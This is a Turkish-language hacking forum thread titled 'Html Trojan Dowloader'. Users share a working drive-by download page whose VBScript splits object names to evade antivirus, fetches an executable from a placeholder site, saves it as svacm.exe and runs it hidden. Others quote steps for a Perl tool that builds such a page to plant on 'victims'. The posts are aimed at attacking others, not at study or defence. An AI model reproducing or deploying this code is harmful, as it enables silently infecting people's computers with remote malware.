Html Trojan Dowloader
-
arkadaşın konuya atlamış gibi oldu ama pek sanmıyorum calışacagını benim yazdıgım dokumanın Vlm acıgını kullanıyor ustte bir uyarı veriyor ama acmadm ben kabul etmdim :) deneyen olursa söylesin
-
-
Fthrkl bunu yazdı:
-----------------------------
ab1="A"
ab2="dod"
ab3="b.S"
ab4="t"
ab5="re"
ab6="am"
strb1=ab1&ab2&ab3&ab4&ab5&ab6
kodları niye böyle yazmıslarki :S
-----------------------------adodb.stream anlamina gelir ki bilinen ve cok kullanilan bir aciktir :) hemen cakmasinlar diye
-
işe yaramaz bu kod :)
-
fivestar bunu yazdı:
-----------------------------Aşağıdaki downLoad Linkinden indirdiğiniz dosyanın içindeki dev.txt dosyasını açıp farkLı kaydetten dev.pl oLarak kaydediyoruz ve dosyayı C / Perl / bin kLasörüne kopyaLayoruz.
Sonra BaşLat / ÇaLıştır / cmd yazıp enterLıyoruz. Kod satırına sırasıyLa:
Kod:
cd..
cd..
cd Perl
cd bin
perl dev.pl -d http://www.siteniz.com/server.exe
bunLarı yazıyoruz entere basıyoruz.Sonra C / Perl / binklasöründe DevPoint.html adında bir htmL dosyası oLuşacaktır. O dosyayıda hostumuza atıp tek şey kurbanımıza o DevPoint.html dosyasının buLunduğu Linki yedirmek kaLıyor.
http://rapidshare.com/files/87167811/dev.txt.htmlbuda internet explorer 7 de ki bir bug deneyin belki olur
-----------------------------ya abicim neden cd .. cd.. cd perl cd bin yapıyorsunuz ki..
Bir pl dosyası indiriyorsunuz adamlar kendilerince onların olduğunu göstermek için perl/bin dosyasına atın demiş.Ben bunu masaüstünden bile çalıştırılacağını gösterdiğim bir video vardı.Hayla cd perl cd bin..NE binmiş bine bine bitiremedik..
C ye bir tane pl diye klasör koy
cd\
cd pl
perl dosyaadı.plyaz aynı yere çıkacak :)Daha basit binde plleri ararken içinde kaybolursunuz.
-
ie 7 de çalışır deneyin.
<html>
<head>
<title>IE7</title>
</head>
<body>
<script type="text/vbscript">
on error resume next
Set df = document.createElement("object")
df.setAttribute "clas"&"sid", "clsid:BD96C"&"556-65A3-11D0-"&"983A-00C04F"&"C29E36"
str="Mcft"&"."&"XMLHTTP"
Set x = df.CreateObject(str,"")
var1="Ad"
var2="od"
var3="b."
var4="St"
var5="re"
var6="am"
str1=var1&var2&var3&var4&var5&var6
str5=str1
set S = df.createobject(str5,"")
for count = 0 to 4
S.type = 1
lnk="http://seninsite.com/sikici.exe"
x.Open "G"&"E"&"T",lnk,0
x.Send
set F = df.createobject("Script"&"ing.FileSys"&"temObject" ,"")
if count = 0 then tmp = "c:windowstemp" else if count = 1 then tmp = "c:" else if count = 2 then tmp = "c:temp" else if count = 3 then tmp = "d:windowstemp" else if count = 4 then tmp = "d:" end if
fname1= F.BuildPath(tmp,"svacm.exe")
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
if err.number = 0 then
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"INSTALL","","open",0
exit for
else
Err.Clear
End if
next
</script>
</body>
</html>
-
denemeden bişey çıkmaz :)
